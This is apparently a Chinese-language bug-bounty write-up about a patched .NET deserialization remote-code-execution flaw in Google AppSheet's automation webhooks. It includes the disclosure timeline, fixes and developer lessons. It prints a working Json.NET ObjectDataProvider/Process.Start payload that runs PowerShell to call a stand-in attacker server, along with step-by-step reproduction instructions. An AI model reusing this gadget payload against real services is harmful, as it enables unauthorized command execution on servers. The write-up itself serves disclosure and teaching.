🎬 无代码,全面访问
Google 的 AppSheet 是一个无代码平台,被成千上万的企业工作流所采用。
但在 2022 年 9 月,一个自动化功能变成了远程控制 Google 自身服务器的工具。
安全研究员 Chip 发现了一个反序列化远程代码执行(RCE)漏洞,允许在后台执行任意 PowerShell 命令。
结果是:
💰 1万美元的奖金
🚨 在被滥用之前修复了关键漏洞
🌍 保护了数百万用户
🧩 什么是反序列化 RCE?
- 序列化 = 将对象打包以便存储或传输
- 反序列化 = 将对象解包回内存
如果系统在反序列化时盲目信任并执行任何传入内容,攻击者就可以发送恶意对象来执行命令。
在 .NET 中,这可能被滥用为:
- 实例化危险类(
System.Diagnostics.Process
) - 调用方法(
Start
) - 执行 Shell 命令(
cmd
,powershell
)
🔍 漏洞是如何被发现的
AppSheet 的自动化功能允许用户:
- 创建一个定期(例如每月)运行的 Bot
- 添加 Webhook 步骤,通过 HTTP POST 调用任意 URL
- 提供自定义 JSON 数据
Chip 发现这个自定义数据在没有验证的情况下被反序列化,从而能够传递任意 .NET 对象类型和方法调用。
💻 恶意PoC示例
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": [
"cmd",
"/c powershell -command \"Invoke-WebRequest -URI http://attacker-server.com\""
]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
📌 它的功能:
-
ObjectDataProvider
动态调用Start
方法 -
Process
创建一个新的系统进程 -
PowerShell 向攻击者的服务器发送请求(作为代码执行的证明)
🛠 步骤复现(仅供学习目的)
- 创建一个 AppSheet 账户并进入自动化模块
- 添加一个新 Bot,将其设置为定期执行(例如:每月)
- 添加一个步骤 → 调用 Webhook
- 设置方法为POST,URL为你控制的任意测试服务器(例如,
http://your-server.com
) - 在请求体中粘贴上述恶意Payload(将
your-server.com
替换为你的域名) - 保存并等待 Bot 的运行
- 检查你的服务器日志 → 你会看到来自 Google AppSheet 基础设施的请求
📊 攻击链流程
[攻击者]
│
▼
[AppSheet 自动化 Bot]
│ (POST 含恶意 .NET 对象)
▼
[后端中的不安全反序列化]
│
▼
[System.Diagnostics.Process.Start()]
│
▼
[PowerShell 命令执行]
│
▼
[攻击者的服务器接收回调信息]
🎯 漏洞利用影响
- 在 Google 服务器上执行任意命令
- 从 AppSheet 托管的应用程序中窃取敏感企业数据
- 在 Google 基础设施内部署恶意软件或勒索软件
- 进入 Google 云平台的内部服务
📅 漏洞时间线
- 2022 年 9 月 19 日:将漏洞报告给谷歌 VRP
- 2022 年 9 月 19 日:同一天进行了分类
- 2022 年 9 月 28 日:被接受
- 2022 年 10 月 31 日:已修复
- 奖金发放:1万美元
🛡 Google 的修复措施
- 在反序列化时强制执行类型白名单
- 清理自动化负载
- 防止自动化创建系统进程
📚 对开发者的教训
- 切勿反序列化不受信任的数据
- 使用安全的序列化格式(无多态类型绑定的 JSON)
- 对自动化/自定义工作流进行输入验证
- 记录和监视来自后端进程的 outgoing 请求
🏆 对赏金猎手的建议
- 探索自动化和自定义功能——这些功能通常被忽视
- 测试服务器端解析客户端控制的输入
- 在 .NET 应用中,始终检查 JSON/XML 中的对象注入
- 结合 SSRF、RCE 或权限升级以获取更高的影响力
🚀 结论
这个漏洞表明,尽管没有代码,也不意味着没有风险。一个简单的反序列化缺陷可能使一个无害的自动化 Bot 变成了 Google 服务器的远程控制工具。
由于负责任的披露,Chip 将这个潜在的全球安全威胁转变为了一笔 1万美元的成功故事——充分证明了好奇心和道德终会有回报。